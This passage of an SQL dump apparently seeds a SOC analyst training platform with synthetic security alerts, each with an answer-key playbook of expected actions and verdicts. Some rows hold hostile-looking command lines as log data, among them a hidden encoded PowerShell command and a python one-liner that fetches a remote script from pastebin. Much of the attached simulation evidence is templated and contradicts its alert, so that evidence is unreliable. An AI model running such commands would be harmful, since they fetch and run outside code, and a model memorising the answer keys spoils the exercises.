'{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Business Email Compromise Attempt via Lookalike Domain\",\"date\":\"2026-02-01T20:32:22.379Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(734, 'False Positive Alert: Legitimate Email Flagged as Phishing', 'low', 'Email Gateway', 'An email from a new vendor was mistakenly flagged as phishing due to an unusual domain. The email content and sender\'s reputation are verified as legitimate.', 'Phishing', 'T1566', 0, 'Closed', 185, '{\"timestamp\":\"2026-01-11T14:30:22Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.5\",\"dst_ip\":\"10.0.0.15\",\"username\":\"m.jones@company.com\",\"hostname\":\"workstation-04\",\"email_sender\":\"info@newvendor.com\",\"domain\":\"newvendor.com\",\"url\":\"http://newvendor.com/welcome\"}', '2026-01-11 06:47:17', '2026-02-20 09:02:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"info@newvendor.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"Email address verified as legitimate by OSINT checks.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://newvendor.com/welcome\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"URL verified as legitimate, associated with a new vendor.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the recipient\'s workstation.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email from a new vendor was mistakenly flagged due to an unfamiliar domain but verified as legitimate.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"False Positive Alert: Legitimate Email Flagged as Phishing\",\"date\":\"2026-02-01T20:32:22.380Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(735, 'Spear Phishing Email Detected with Malicious URL', 'high', 'Proofpoint', 'A spear phishing email was detected targeting an employee, containing a malicious URL hosted on a lookalike domain. The email uses urgency language to lure the victim into clicking the link.', 'Phishing', 'T1566', 1, 'Closed', 225, '{\"timestamp\":\"2026-01-11T10:15:30Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.10.5\",\"username\":\"jdoe@example.com\",\"hostname\":\"WS-001\",\"email_sender\":\"ceo@examp1e.com\",\"url\":\"http://login.examp1e.com/secure\",\"email_subject\":\"Urgent: Verify Your Account Immediately\"}', '2026-01-11 02:32:22', '2026-03-15 10:53:32', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"ceo@examp1e.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain used in multiple phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://login.examp1e.com/secure\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"URL hosts phishing login pages\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 152 times for phishing activities\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"block_url\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The lookalike domain and use of urgency suggest a targeted phishing attempt.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Spear Phishing Email Detected with Malicious URL\",\"date\":\"2026-02-01T20:32:22.381Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(736, 'Detected Command and Control Communication from Malware', 'critical', 'CrowdStrike', 'A malware infection was detected attempting to communicate with a known C2 server. The connection was initiated from an internal host.', 'Malware', 'T1105', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T09:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"203.0.113.89\",\"username\":\"user1@company.com\",\"hostname\":\"PC-003\",\"file_hash\":\"abcd1234efgh5678ijkl9012mnop3456\"}', '2026-01-10 14:58:13', '2026-02-16 18:03:59', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.89\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple malware C2 activities\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"abcd1234efgh5678ijkl9012mnop3456\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash found in several malware infections\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of infected host\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The communication to a known C2 server confirms the host is compromised.\"}', 'Intermediate', 'NDR', 5, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(737, 'Failed Brute Force Login Attempts Detected', 'medium', 'Wazuh', 'Multiple failed login attempts were detected from a foreign IP address, indicating a potential brute force attack.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:30:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.50\",\"dst_ip\":\"192.168.1.10\",\"username\":\"jdoe@company.com\",\"hostname\":\"PC-004\",\"failed_attempts\":35}', '2026-01-11 11:45:57', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported several times for suspicious login activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of targeted host\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe@company.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"No additional suspicious activity detected for this user\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The number of failed attempts and foreign IP location indicate a brute force attack.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.382Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:30:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.50\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe@company.com\\\",\\\"hostname\\\":\\\"PC-004\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:31:22.382Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:30:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.50\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe@company.com\\\",\\\"hostname\\\":\\\"PC-004\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:30:22.382Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:30:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.50\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe@company.com\\\",\\\"hostname\\\":\\\"PC-004\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:29:22.382Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:30:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.50\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe@company.com\\\",\\\"hostname\\\":\\\"PC-004\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:28:22.382Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:30:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.50\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe@company.com\\\",\\\"hostname\\\":\\\"PC-004\\\",\\\"failed_attempts\\\":35}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(738, 'Suspicious Email Flagged as Possible False Positive', 'low', 'Email Gateway', 'An email was flagged as suspicious due to its sender domain, but analysis shows it matches known safe entities.', 'Phishing', 'T1598', 0, 'Closed', 232, '{\"timestamp\":\"2026-01-11T11:00:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"192.0.2.25\",\"dst_ip\":\"192.168.1.15\",\"username\":\"user2@company.com\",\"hostname\":\"WS-002\",\"email_sender\":\"newsletter@trustedsource.com\",\"email_subject\":\"Monthly Updates\"}', '2026-01-11 10:40:23', '2026-03-09 18:19:31', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"newsletter@trustedsource.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Sender domain verified as legitimate source\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.0.2.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"IP matches known safe email servers\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The sender and IP are verified as legitimate, indicating this is a false positive.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email Flagged as Possible False Positive\",\"date\":\"2026-02-01T20:32:22.384Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(739, 'APT-Level Phishing Attack via Spoofed Office365 Login Page', 'critical', 'Proofpoint', 'A spear phishing email was detected attempting to harvest credentials using a spoofed Office365 login page. The email was sent from a lookalike domain and contained urgency language.', 'Phishing', 'T1566', 1, 'investigating', 34, '{\"timestamp\":\"2026-01-11T09:15:34Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"\",\"username\":\"jdoe@company.com\",\"hostname\":\"mail.company.com\",\"email_sender\":\"no-reply@0ffice365-security.com\",\"domain\":\"0ffice365-security.com\",\"url\":\"http://login-verifyoffice365.com\",\"email_subject\":\"Immediate Action Required: Verify Your Office365 Account\"}', '2026-01-11 14:23:02', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 157 times for phishing activities\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"no-reply@0ffice365-security.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Lookalike domain used in phishing campaigns\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://login-verifyoffice365.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Phishing page mimicking Office365 login\"}}],\"expected_actions\":[\"block_ip\",\"block_url\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email originated from a known malicious IP and used a lookalike domain to deceive users into entering their credentials.\"}', 'Expert', 'SIEM', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"APT-Level Phishing Attack via Spoofed Office365 Login Page\",\"date\":\"2026-02-01T20:32:22.385Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(740, 'Fileless Malware Detected via Process Hollowing', 'high', 'CrowdStrike', 'A process hollowing technique was detected on a user endpoint, indicating a potential fileless malware execution. The attack leveraged PowerShell with heavy obfuscation.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:30:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.45\",\"dst_ip\":\"\",\"username\":\"m.smith\",\"hostname\":\"DESKTOP-45KTHR\",\"command_line\":\"powershell -NoP -W Hidden -Enc dwBvAGsAZQBuAC0AUABvAHcAZQByAFMAYwBoAGUAbQBlACAAOwAgACQAbABvAGcAKwA=\"}', '2026-01-11 01:56:23', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected machine\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell -NoP -W Hidden -Enc dwBvAGsAZQBuAC0AUABvAHcAZQByAFMAYwBoAGUAbQBlACAAOwAgACQAbABvAGcAKwA=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicative of process hollowing\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"block_hash\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell command suggests process hollowing, a common technique for fileless malware.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(741, 'DGA Domain Detected in Network Traffic', 'medium', 'Firewall', 'Suspicious network traffic was detected involving a domain generated by a Domain Generation Algorithm (DGA), commonly used for C2 communication.', 'Command and Control', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T14:22:11Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"203.0.113.77\",\"username\":\"jane.doe\",\"hostname\":\"LAPTOP-JDOE\",\"domain\":\"gibberish12345.biz\"}', '2026-01-09 20:43:04', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected machine\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple DGA domains\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"gibberish12345.biz\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Domain matches patterns used by DGA malware\"}}],\"expected_actions\":[\"block_ip\",\"block_domain\",\"isolate_host\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"command_and_control\",\"analysis_notes\":\"The domain and associated IP are indicative of DGA-based C2 communication.\"}', 'Expert', 'NDR', 9, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(742, 'Failed Network Connection Attempt to Known Malicious IP', 'low', 'IDS', 'A network connection attempt was detected to an external IP previously reported for malicious activities. Further investigation revealed it was a benign service misconfiguration.', 'Network Anomaly', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T16:47:59Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"198.51.100.99\",\"username\":\"svc.account\",\"hostname\":\"SERV-01\"}', '2026-01-10 08:16:16', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the service account host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported for malicious activities but currently clean\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_anomaly\",\"analysis_notes\":\"The connection attempt to a previously malicious IP was due to a misconfigured service, resulting in a false positive.\"}', 'Expert', 'NDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.388Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T16:47:59Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"198.51.100.99\\\",\\\"username\\\":\\\"svc.account\\\",\\\"hostname\\\":\\\"SERV-01\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.388Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T16:47:59Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"198.51.100.99\\\",\\\"username\\\":\\\"svc.account\\\",\\\"hostname\\\":\\\"SERV-01\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.388Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T16:47:59Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"198.51.100.99\\\",\\\"username\\\":\\\"svc.account\\\",\\\"hostname\\\":\\\"SERV-01\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.388Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T16:47:59Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"198.51.100.99\\\",\\\"username\\\":\\\"svc.account\\\",\\\"hostname\\\":\\\"SERV-01\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.388Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T16:47:59Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"198.51.100.99\\\",\\\"username\\\":\\\"svc.account\\\",\\\"hostname\\\":\\\"SERV-01\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(743, 'Suspicious AWS Lambda Invocation Detected', 'critical', 'AWS GuardDuty', 'A Lambda function was invoked with a payload indicative of crypto mining. The function leveraged multiple legitimate services as C2 channels.', 'Malware', 'T1190', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T08:23:45Z\",\"event_type\":\"lambda_invocation\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"203.0.113.56\",\"username\":\"aws_lambda_user\",\"hostname\":\"lambda-instance-01\",\"command_line\":\"python3 -c \'import urllib; urllib.request.urlopen(\\\"https://pastebin.com/raw/abcd1234\\\")\'\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\"}', '2026-01-11 09:40:26', '2026-02-16 18:02:41', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 237 times for suspicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known crypto mining malware\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"python3 -c \'import urllib; urllib.request.urlopen(\\\"https://pastebin.com/raw/abcd1234\\\")\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Command uses pastebin to fetch remote scripts\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Lambda invocation detected with indicators pointing to crypto mining. IP and hash linked to malicious activity.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.389Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:23:45Z\\\",\\\"event_type\\\":\\\"lambda_invocation\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"203.0.113.56\\\",\\\"username\\\":\\\"aws_lambda_user\\\",\\\"hostname\\\":\\\"lambda-instance-01\\\",\\\"command_line\\\":\\\"python3 -c \'import urllib; urllib.request.urlopen(\\\\\\\"https://pastebin.com/raw/abcd1234\\\\\\\")\'\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.389Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:23:45Z\\\",\\\"event_type\\\":\\\"lambda_invocation\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"203.0.113.56\\\",\\\"username\\\":\\\"aws_lambda_user\\\",\\\"hostname\\\":\\\"lambda-instance-01\\\",\\\"command_line\\\":\\\"python3 -c \'import urllib; 